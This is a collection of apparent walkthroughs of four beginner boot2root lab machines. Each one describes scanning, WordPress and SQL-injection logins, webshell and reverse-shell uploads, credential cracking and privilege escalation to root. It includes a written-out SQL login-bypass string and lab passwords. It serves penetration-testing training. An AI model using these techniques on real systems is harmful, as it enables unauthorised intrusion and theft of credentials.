DeRPnStiNK is a boot2root aimed at beginners. It contains 4 different flags in the following format: flag1(AB0BFD73DAAEC7912DCDCA1BA0BA3D05). The author tells us not to bother cracking the flag hashes as they have nothing to do with the challenge. You can download it from vulnhub here.

Scanning

First step is to find our target’s IP address. We’ll accomplish this with arp-scan.

Our target is located at 192.168.80.128. Our next step is to determine what ports are open using nmap.

Port :21

There is an FTP server running at port 21. nmap informs us that it is likely a version 3.0.2 vsftpd server, and connecting to the service with the ftp command confirms this. Unfortunately, it seems that the anonymous user has been disabled.

Port :22

OpenSSH 6.6.1p1 is running on port 22. nmap tells us that it is an Ubuntu version, providing a pretty good hint as to what OS our target is using.

Port :80

There is a web server running at port 80, powered by Apacher version 2.4.7.

Vulnerability Analysis

FTP

Searchsploit doesn’t return anything in terms of vulnerabilities for vsftpd 3.0.2.

SSH

The SSH service does not appear to be vulnerable to anything, either. Attempting to connect to the server shows that it password login is disabled in favor of private/public key pairs. Not going to be brute-forcing that.

HTTP

There do not appear to be any exploits for our version of Apache. Visiting the site yields a page without any links.

If we take a look at the source for the page, we find our first flag!

flag1(52E37291AEDF6A46D7D0BB8A6312F4F9F1AA4975C248C3F0E008CBA09D6E9166)

Let’s root around the web server a bit more before pulling out some tools. Robots.txt tends to yield interesting results:

Unfortunately, neither of these directories yield anything, at first.

/php/ doesn’t directly resolve to anything

and /temporary/ provides some OSCP-style trolling. Time to use some tools. I generally run both dirb and nikto against any boot2root web server that I meet:

Some interesting findings here. First, /php/ contains a phpmyadmin installation. This might yield some great information if we can log in. The second is that there is another directory at /weblog/ that contains a wordpress installation.

Nikto didn’t yield much of interest, the command that I used follows:

Let’s investigate this wordpress site. Attempting to navigate to it provides some difficulties:

The site is attempting to redirect to derpnstink.local. In order to resolve this domain, let’s add it to our /etc/hosts file:

Navigating to 192.168.80.128/weblog/ should now be successful

Now that we can access the site, let’s use wpscan to gather some information about it (note that after the scan has started, we divert from the default by telling it to follow redirection):

Not only were we able to enumerate some users, but we’ve identified an arbitrary file upload vulnerability in one of the installed plugins! It’s an authenticated vulnerability, meaning that we will need some working credentials in order to exploit it.

Exploitation

WordPress Login

We know two users for WordPress: unclestinky and admin. admin sure sounds like a default user, so let’s start there. Guessing that the password might be the same as the username, we attempt to log in and find that we are successful!

File Upload Exploit To Get Shell

We have login credentials for what appears to be a limited account. This means that we can now use our authenticated arbitrary file upload vulnerability. There is a metasploit module for this vulnerability, which means that it should be pretty easy to execute.

Set the appropriate settings and then run the exploit. It may take a little bit to finish, but eventually we will be awarded with a meterpreter session.

Opening a shell on our target, let’s see if we can find some database credentials. WordPress installations tend to contain a set of credentials for the website’s database in the wp-config.php file. Let’s upgrade our basic shell into a TTY session and dump the contents of that file.

Success! We have another set of creds, these for MySQL.

phpMyAdmin

phpMyAdmin is a web interface for MySQL installations. Let’s see if our creds work here.

We’re in.

Let’s take a look around. The table wp_posts contains all of the posts, published and draft, for the web site. In this case, it also contains our second flag!

flag2(a7d355b26bda6bf1196ccffead0b2cf2b81f0a9de5b4876b44407f1dc07e51e6)

The WordPress database keeps users and password hashes in the wp_users table. Opening this table, we can get a hash for the unclestinky user.

Let’s see if we can use john and rockyou.txt to crack that hash.

After a bit, we have our password.

Escalation

The password for unclestinky is wedgie57. Moving back to our meterpreter shell, let’s see if we can escalate our privileges from a service account to a full user. Users often make the mistake of reusing the same passwords. Our target machine has a user named stinky, let’s see if his password is also wedgie57.

Another reminder of why good password practices are so important. We cracked stinky’s password in minutes and have now seized control of all of his accounts. Stinky’s home directory contains a lot of different directories and files. One of note is his ssh key. We can use this key to transition to a far more stable SSH session.

(Loving the South Park theme)

Let’s run a quick check to see if stinky is authorized to run sudo with sudo -l. This tells us all (if any) commands that the user is allowed to run via sudo.

That’s too bad. Looking in stinky’s Desktop folder, we find our third flag!

flag3(07f62b021771d3cf67e2e1faf18769cc5e5c119ad7d4d1847a11e11d6d5a7ecb)

Investigating the ftp directory, we find an interesting text file. It seems that there is a pcap file that captures another user’s account creation and login! Based on our experiences so far, there’s a good chance that this user reused his password on the target machine as well. This pcap is located in stinky’s Documents folder. Let’s transfer it to our machine so that we can open it with wireshark

Hunting through the pcap, eventually we stumble across TCP stream 37 which contains mrderp’s account creation.

It contains his password (twice, just to be safe) in plain text: derpderpderpderpderpderpderp.

Lateral Movement

Moving back to our SSH session, let’s try out those new creds and see if we can transfer to another user account.

Privilege Escalation

We’ve taken another user account. Let’s run that same sudo check, there’s no sense in trying complicated privilege escalations if our user account already has the requisite privileges.

Our user can run any command that is contained within the directory /home/mrderp/binaries/ and starts with the string derpy. Let’s make that directory and create a file in it.

In that file we’ll just put a simple command to open a new bash session. This session will be opened as the super user, meaning it should have root privileges.

Make it executable

We have root! Let’s check out the /root/ directory.

And we have our final flag and have completed the box!
flag4(49dca65f362fee401292ed7ada96f96295eab1e589c52e4e66bf4aedda715fdd)

As suggested by its name, Basic Pentesting: 1 is a boot2root for beginners.  Its description says that it contains numerous vulnerabilities and priv esc routes, so this walkthrough may be updated as I try to go back and identify them all.  You can find the file here. The VM was created for virtualbox, but I found it to work with VMWare, too. The only time that there seems to be an issue is when you try to power off the target. But if you generate a snapshot of the VM before you start working on it (something I suggest anyway so that you can always return the target to a pristine state), then this is not a problem.

Scanning

First step is to find the target machine.  We’ll accomplish this through arp-scan which broadcasts ARP packets and prints any responses.

As the only hosts running on my lab network are my kali box and the target, our target must be located at 10.10.7.9.

At this point, it’s important to note that the creator suggests adding the host to your /etc/hosts file.  This is important to do.  Add the following line to /etc/hosts (change the IP to match your network)

Next step is to determine what ports are open using nmap.

nmap notifies us that there are 3 listening ports, 21, 22, and 80.

Port :21

There is an ftp server listening on port 21.  nmap informs us that the ftp service is likely ProFTPD 1.3.3c.

Port :22

There is an ssh service listening on port 22.  nmap informs us that is is likely OpenSSH 7.2p2 Ubuntu 4ubuntu2.2.  This is also a pretty good indicator that our target is running Ubuntu.

Port :80

There is an http server listening on port 80.  It is likely Apache httpd 2.4.18.

Visiting the site shows a default Apache page.

Following my standard procedures for web servers, I next started a nikto and dirb scan

nikto

dirb

nikto and dirb both indicate the existence of a secret directory at /secret/. Furthermore, the files and directories discovered by dirb suggest that at /secret/ is a wordpress site.  Visiting the page quickly confirms this, so we will run a scan to enumerate the site.

wpscan

By specifying the -e flag, the tool tries to determine the version of WordPress, any running plugins, installed themes, etc. and return known vulnerabilities for them.  It also identified a user named admin (located at the bottom of the script’s output).

Wpscan can also be used to bruteforce login to wordpress sites, but since admin is a default user, let’s see if we can just log in using admin as the password, too.

Success!

Vulnerability Analysis

FTP

Searchsploit indicates that this version of ProFTPD has been backdoored, and better yet, there is a metasploit module for the exploit.  This will definitely be worth investigating.

SSH

Not much to see here.  There is a vulnerability in this version of OpenSSH that allows username enumeration, but since we are likely to get shell through either FTP or HTTP, I’m marking this as check last.

HTTP

There are no apparent vulnerabilities associated with our version of Apache.  But since we are logged in to the WordPress site, we can leverage our access to get a webshell.  We’ll explore this in the HTTP portion of Exploitation below.

Exploitation

FTP

Using searchsploit earlier, we know that there is a metasploit module to exploit the backdoor built in to this version of ProFTPD.  We can quickly find it using search:

Now that we’ve identified the module, we load it and set the various settings (you can always use show options if you’re unsure of what they are, or want to verify that they are correctly configured)

Our payload is ready.  Execute it with run and wait a few seconds.  Metasploit will establish a connection with the FTP server and execute our payload to generate a shell on the target machine.  Once it is established, we quickly improve the environment with our python one-liner.  And check our current user.

We have root!  At this point, we’ve owned the machine and can do whatever we want to do.  But let’s explore the web shell route.

HTTP

To get a webshell, we go to the theme editor which allows us to directly edit the php code of the various pages in the installed themes.  In order to avoid causing any problems with the site (and, in theory, avoid instant detection), we will edit a page in a theme that is not in use.  Kali has a number of web shells built in at /usr/share/webshells/.  The most feature-filled php shell seems to be qsd-php-backdoor.php.  If we replace the content of one of the .php pages in our unused theme (I am editing 404.php in the Twenty Fifteen theme) with the content of the qsd backdoor, then we should be able to navigate to this page and see our webshell.  EDIT: After completing this machine, I remembered another php web shell that I had run across on another boot2root that is very well done and definitely worth adding to your kit.  It emulates a BASH environment directly in your browser, making it for more useful than qsd in my mind.  It can be found here.

Question is, where is this file located?  Dirb gives us a hint.  Dirb found a directory labeled /secret/wp-content/themes/.  We know the name of our theme, and the name of our page, so it’s fairly simple to guess the rest of the URL:  http://vtcsec/secret/wp-content/themes/twentyfifteen/404.php

We now have a web shell on the target and can run almost any command that we want to as www-data.

Post Exploitation

Improving our environment

An interactive shell is better than a web shell, though, so now that we can run commands on the target, let’s improve our working environment by using it to transfer an msfvenom payload to the target and get a meterpreter shell.

First, generate the payload:

While our payload is generating we need to get metasploit ready to handle the incoming meterpreter connection:

Once generated, we need to transfer the msfvenom payload to the target machine. There are many ways to do this, I generally choose netcat as the simplest. On the kali box, prep our netcat listener to transmit the payload:

In the webshell, enter the following command and execute it. The string will connect to our Kali box and save anything transmitted (our msfvenom payload) to a file in /tmp/ called rshell. It will then change the permissions to allow the payload to be executed, and execute it. We need to ensure that both our metasploit handler and our nc listener on our kali box are listening, as the below string will connect to both of them.

If the command is successful, we should see two things: a successful connection to our nc listener, and an incoming meterpreter connection. The expected output for both is shown below:

Privilege Escalation

Now that we have a meterpreter session on the target, it’s time to do some further reconnaissance.  There is a good tool that can automate some of this for us called linuxprivchecker.py (available here).  We can use meterpreter to upload this file to our target, and then use the shell to execute it:

When the script has completed running, we can background our shell with ctrl+z and download the output for easier viewing.  While we’re at it, let’s grab a few other interesting files.

Looking in wp-config, we can find some database credentials that may come in handy: username(root) password(arootmysqlpass)

One thing that stands out in the output of linuxprivchecker is the fact that /etc/shadow is readable, so let’s grab that as well!

Inside /etc/shadow, we can see a password hash for the user marlinspike.  Let’s use john to try to crack it.

Weak passwords ftw!  We can now log in as this user and stop acting as www-data.  Do this either via SSH or simply using su in our current meterpreter session.

We can check to see what, if any, commands that our new user is allowed to run with sudo:

Seems as if our user is able to run any command with sudo…  Tha means we should be able to switch user to root:

We now have root!

There appear to be some other vulnerabilities present as well.  Linuxprivchecker.py seemed to think that the MySQL service running could be used to priv esc to root, however when I checked it did not appear to be running with root privileges (a requirement for the exploit to work), so I did not try it.  I also noticed that ImageMagick-6 seems to be installed.  This has a lot of vulnerabilities associated with it and would be worth investigating.  But we can sudo su, so I will leave it there for now.

BTRSys v1 markets itself as a boot2root for beginners.  It’s fairly simple but almost all of the content covered is different from the covfefe box that we covered earlier.  You can find the file here, and it’ll download as a .rar file that you can decompress and import into VMWare.

Scanning

First step is to find the target machine.  We’ll accomplish that by ping sweeping with nmap.  First, we identify our own IP address:

Looking next to inet in the output from ifconfig, we see that our own address is 10.10.7.17. We can now use nmap to identify the other machine:

Our target is located at 10.10.7.22. The next step is to gather information about what services are accessible on the target. We’ll use nmap again to scan all of the TCP ports:

Key to note are ports 21, 22, and 80. The target is running FTP, SSH and a web server. By including the -A flag in the command, we gather information about the services that are running behind the ports, and what versions they likely are.

Knowing the publicly available services and what version each is, we can turn to searchsploit to try and identify some vulnerabilities to exploit:

Unfortunately, all of the vsftpd vulnerabilities listed are for older versions than ours (3.0.2).

A note: when you use searchsploit, it can help to include version numbers in the command in order to cut down on the noise that is returned. Above, searching for all OpenSSH vulnerabilities returns a lot of options. Searching for something like Apache would produce even more. This can make it difficult to find applicable vulnerabilities. But by including a version in the search string, we could also miss out on vulnerabilities that impact a range of versions. For example, above we see two vulnerabilities that claim to impact all versions of OpenSSH less than 7.4. Searching for OpenSSH 6.6.1 wouldn’t return these. In this case, it doesn’t matter, because the two <7.4 vulnerabilities require specific configurations. We could make note and try them later just to be sure, but this will prove to be unnecessary. The same is true with the Apache server, so we will just move on and take a look at the FTP service that is running.

Port :21

nmap notified us that the FTP server at port 21 allows anonymous login with read only access. We will quickly verify this and see if there are any files available on the server.

Using the ls command, we see that there are no files on the server. We also double check that we can’t upload any files by using PUT. Unfortunately, this seems to be a dead-end, so we will move on to port 80.

Port :80

There are two great tools to gather information about a web server: nikto and dirb. Nikto will scan a server for known vulnerabilities, and dirb will take a wordlist and try to brute force the files and directories present. Between the two of them we can get a good idea of what the server looks like and some potential attack vectors.

Starting with nikto:

Two big things to notice above are the file at /config.php and the login portal at /login.php. Browsing to /config.php yields nothing but a blank page. That’s ok, false positives happen with tools like this (technically, it isn’t a false positive because there is actually a file called config.php there, it’s just blank and therefore of little use to us). The login portal at /login.php looks promising, and I’ll go over why once we look at our dirb results:

There are a few things to notice here. First is that dirb seems to have missed login.php. This is why it’s really helpful to use the two tools together. The likely reason that is missed login.php (login is definitely in the wordlist) is that dirb is searching for a hit at http://10.10.7.22/login but our target is using php, and the pages therefore have .php as an extension. If we were to repeat the scan with the -X flag to add a file extension, we will see several files appear that didn’t before.

dirb http://10.10.7.22/ /usr/share/wordlists/dirb/big.txt -X .php

Let’s take a look at login.php.

If we look at the source for this page, we see a script at the bottom which performs some input sanitation to try and prevent SQL injection. Unfortunately for the target, their solution is pretty weak and is easily avoided.

The script performs two checks before submitting the login form and throws an error if either of them are tripped. The first check is whether or not the password being submitted is a single quote (‘). The second check is whether or not the username contains btrisk.com. Simple enough. By submitting username “btrisk.com” and password “a’ or 1=1;#” (not including the double quotes) the portal will log us in and present us with the next page:

EDIT: When redoing all of this for this write-up, the file upload page that we cover later on in the write-up magically began appearing.  The first time that I did any of this, it did not.  I tried clearing caches and cookies but it showed up every time.  If you do not see a button to upload a file, ignore this edit and continue.  If you do see one, you could skip down to the file upload portion, but I’d recommend continuing to follow the guide for some sqlmap password dumping goodness!  Either way, know that your web page may not look quite like the one above.  As long as the URL says /personel.php then chances are that you’re in the correct place.

We now know that the portal is vulnerable to SQLi. At this point I pulled out a tool called sqlmap to do the heavy lifting. sqlmap automates the whole injection process for you and can be used to dump some pretty handy information.

Notice towards the end of the above abbreviated output, that there is a user table with two entries. If you haven’t noticed by now, the box is in Turkish. So it may be useful to know the following translations…

Looking at the user table again, it looks like we have two user names and passwords that appear to be in plain text! Returning to the login portal at /login.php, if we log in with the first set of creds (ikaya@btrisk.com:asd123***), then we’re brought back to the /personel.php page but this time there is a file upload form present.

If we take a look at the page’s source, we once again see some javascript at the bottom, this time handling the file upload.

Looks like they are only allowing .jpg, .png, and .gif files to be uploaded. This is pretty normal, it keeps users from uploading malicious things like php code that could generate a reverse shell (hint). Unfortunately for them, they are performing this check on the client side. This means that we can intercept the POST containing our file, and rename it to whatever we want. So if the page only allows images and we want to upload a .php file, we can name it with an image extension, intercept the POST and change that extension back to .php, and the server will treat it just like any other .php file. Let’s give it a try.

First we’ll generate our payload. We want to create a reverse tcp shell so that we can gain access to the box. Using msfvenom, we can create a payload that will open a meterpreter instance that we can interact with via metasploit. Set the port and IP that your test machine will listen on for the target to connect to.

Next, edit the file and remove the /* at the beginning of the file:

should change to:

Now, if we upload this file, the form will allow it because it thinks that the file is an image. But before we click ‘Gonder’ we need to set ourselves up to intercept the POST. There are many ways to do this, I like to use a firefox extension called tamper data (downloadable here). It’s simple, easy to use, and one less program that I need to have open. Once it’s installed, just go to tools and click on tamper data.

Click start tamper. Now we can click ‘Gonder’ to upload our file. We should see a message like the one below. Click tamper.

You will most likely see similar messages that are going to other URLs pop up while you are tampering. Just submit them. You only need to worry about the one that is going to your target IP. Now we will edit the message in order to change the file extension from jpg to php as seen below.

Once complete, click submit, and you can now stop tampering. You should see a new screen indicating that the file was uploaded. You can also now navigate to /uploads/ and you should see your file there.

Our payload is on the target. Now, before we execute it, we need to set our machine up so that it can handle the incoming request from the payload. Open up metasploit and wait for it to start up.

Once it is open, we need to use the multi/handler module. This is a particularly useful metasploit module that is capable of connecting the framework to payloads that are launched from outside of it (as in our case where we manually uploaded the payload and will execute it ourselves). To use and configure the payload, perform the following:

Of course, change the above to match your own environment. It is imperative that the settings match those in the msfvenom command that we executed above, otherwise it will likely fail. If you have entered run, you should see something like the below

This indicates that the handler is active and listening on 10.10.7.17:52801. Now, in your browser, either navigate to http://10.10.7.22/rshell.php or simply click on the file from the /uploads/ page. This will execute the code that it contains, and generate a reverse shell to your metasploit instance. A successful execution will look similar to the below:

There are a number of commands available from here, just type shell and hit enter to get a shell on the target machine. The next step is to improve the limited shell that we now have. For example, if you were to try to use sudo, it would fail. The following line is extremely useful and works almost every time.

Escalation

You should now have a familiar looking BASH shell. We are currently operating as user www-data. At this point we would begin to gather data from the machine itself and try to find a privilege escalation exploit. But one thing I always try in the lab is seeing if any of the creds that I already have have been reused, or if the current user can simply sudo su to root. Chances of www-data being given sudo privileges are next to nil. But what about that password that both of the web users were using? Perhaps it was reused?

And we have root. This is why I always try to remember to check what I already have to see if any of it works. There’s no sense in crawling the system trying to enumerate vulnerabilities that may or may not even exist if I already have the key in my back pocket. It can end up saving hours of pain and wasted effort. at this point, we have accomplished the goal of the box, we now have root. You can search for other data at this point, try to crack the hashes in /etc/shadow (we already know one of them!), etc. Overall, a good, friendly boot2root that touches on some good web vulnerabilities. For extra challenge, don’t use sqlmap and see if you can figure out how to get the same information. Props to ismailonderkaya on the box, I enjoyed it!

This turned out to be a pretty easy box, and a friendly way to ease back into things.  You can download it here.  It is configured to use DHCP to automatically pull an IP, so once you find that IP, you’re good to start.

Scanning

There are tons of ways to do that, but I like to just use nmap’s ping scan. Since my test environment is really only going to have two hosts on it (Kali and the target), it’s pretty trivial to identify the target.

An alternative would be to use  arp-scan.  It sends an Address Resolution Protocol packet to each potential target on the local area network and prints out what addresses responded.  A drawback to using this command, though, is that ARP packets are not routable, so your target would have to be located on the LAN in order for it to work.  This is not a problem for us, both of our hosts are on the same LAN, so we should see our target in the output:

You can see above that 10.10.7.19 was discovered, just as in our nmap scan.

Next step is to gather some information on the target.  Below is the output from telling nmap to scan all TCP ports on the target.

Key to note are ports 22, 80, and 31337.  The target is running SSH and two different web servers.  By including the -A flag in the command, we gather information about the services that are running behind the ports, and what versions they likely are.

Knowing all of the publicly available services that are running and their versions, I now turned to searchsploit to see if there are any potential exploits that could be used against any of them. Only Werkzeug turned up any possibilities. Apparently there is a metasploit module that can exploit the services debugger console to generate a python shell.  The exploit only works for versions 0.10 and older, and also requires that the debugger consoleis still in use (which it should not be).  The target is running Werkzeug 0.11.15, and is therefore not vulnerable.

Port :80

The service running on port 80 turns out to be a default nginx installation, but I ran nikto and dirb against it just to be sure. Unfortunately, they both returned nothing.

Port :31337

The service running on port 31337 was interesting. Browsing to it yielded a 404 error, however robots.txt, nikto, and dirb returned some promising results.

Nikto alerts us to the contents of the robots.txt file that we already viewed.  It also notifies us that there are several other files and directories available, all of which are normally found in a user’s home directory.  The web server is therefore likely hosting a home directory from the target box.

Nikto also lists the potential information that can be gained from several of these files.  For example, .profile may reveal directory and system configuration information.

Using dirb to help ensure that nothing else is missed, we get the same hits that nikto already identified.

Taking a look at the files that are available, .bash_history turns up an interesting command called read_message, so we’ll file this away for later. The biggest thing is the fact that there appear to be SSH keys (both private and public) as well as an authorized_keys file available for download in the /.ssh/ directory.

Using wget, we can quickly try to download those files and take a look at their contents.

Don’t forget to take a look at /taxes/ though!  Here we find our first flag!

Access?

Taking a look at the public key, id_rsa.pub, indicates that the key is for the user simon@covfefe. Double checking the authorized_keys file, we see that simon’s public key is included. This means that we should be able to use the private key to SSH into simon’s profile on the target machine.

Unfortunately, the keys require a password. This is a perfect example of why you should always use a password with your SSH keys. We were able to acquire simon’s private key, and have access to his machine, but still can’t log in as simon because we don’t know his password. Let’s figure out his password!

You can use john to crack the passwords associated with ssh keys! First, convert the private key into a format that john can utilize with ssh2john, then run john with a wordlist.

Access.

While simon was smart by including a password with his ssh keys, it seems he used a weak one, so it ultimately did nothing for him. Now, we should be able to log in.

Now that we’re on the machine, let’s take a look around. There doesn’t seem to be anything unusual in simon’s home directory. I also pulled down copies of /etc/passwd and /etc/group just in case I needed them later on. Checking them, it seems like simon is the only user on this machine. Sudo is not installed, so we can’t try to sudo su our way to root.

Turns out, /root/ is also readable by simon. It contains a file called flag.txt that we can’t read and one called . This reminded me of the command that we saw in the .bash_history file being hosted by the :31337 service. First I tried running the program to see what happened. Providing it with the name Simon prints out a message telling me to check out the source code in /root/. Okay. But first, let’s locate the actual binary that is being run.

Then let’s see what permissions are associated with it.

As I expected (hoped), the SUID bit is set. That’s the little s you see where you would normally find x. This means that when the command is run, it will be run as if the OWNER was running it, not the active user. With root being the user, this means that no matter who runs the command, it will be run as root. Good to know.

Now to take  look at the source code:

A few things to pull out here are lines 6, 9, 10, 11, and 20.
Line 6 is flag 2!
Line 9 is the program that read_message will execute if given an authorized user.
Line 10 allocates a buffer of size 20 to accept user input
Line 11 indicates the only acceptable user input
Line 20 executes the command defined at line 9

Escalation

Disclaimer: I am very rusty with buffer / stack overflows. But when I looked at the code, it immediately looked like there might be a vulnerability with how the username was read in by the program. The program reads the username, checks to see if it is an authorized user, and if so then it executes a different command. Now the correct way to do this probably would’ve been to run a debugger and see what is actually happening in the memory when you use it. But as I said, I’m pretty rusty on how to do all of this, and since I was pretty sure I knew how to attack the overflow, I just decided to go for it. You can see in the code at line 10 that a buffer size of 20 is allocated for the username. So I ran read_message and fed it Simon followed by 15 a’s and then the command that I actually wanted it to run. I lucked out majorly, and this worked. By replacing /usr/local/sbin/message with /bin/sh, instead of /usr/local/sbin/message being run with root privileges, /bin/sh is run as root, and we end up with an interactive shell. A quick check confirms that we now have root! This means that we can read our final flag file at /root/flag.txt to get our final flag and do whatever else we want.

Just for kicks, I copied /etc/shadow and ran john against it. Turns out simon’s password is starwars again. Stop reusing passwords, people. I eventually gave up and never did crack root’s password; if anyone else got it, I’d be interested to know what it was!

That completes this box. As I said, it was pretty simple, but fun. I particularly appreciated the variety that it provided while remaining pretty easy. Kudos to Tim Kent on a fun box!